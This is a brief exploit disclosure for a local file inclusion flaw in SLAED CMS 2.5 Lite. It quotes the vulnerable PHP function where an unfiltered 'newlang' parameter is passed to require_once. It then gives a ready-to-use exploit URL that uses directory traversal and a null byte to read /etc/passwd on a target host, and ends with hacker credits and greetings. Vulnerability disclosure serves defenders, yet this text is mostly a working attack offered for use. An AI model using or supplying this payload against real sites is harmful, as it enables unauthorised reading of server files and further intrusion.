slaed-lfi.txt

`# SLAED CMS 2.5 Lite Local file inclusion  
  
# Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip  
  
# Lets code in function/sources.php:   
  
780: // Format language  
781: function get_lang($module="") {  
782: global $multilingual, $currentlang, $language, $user_cookie_t;  
783: if (isset($_REQUEST['newlang']) && $multilingual == "1") {  
784: if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) {  
785: setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t));  
786: require_once("language/lang-".$_REQUEST['newlang'].".php");  
...  
  
And in index.php:  
9: require_once("function/function.php");  
10: get_lang();  
  
# As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit:  
  
http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00  
  
# Bug discovered by The_HuliGun  
  
# Greetz to: NaTka and all people who understand...  
  
# See u soon!  
  
`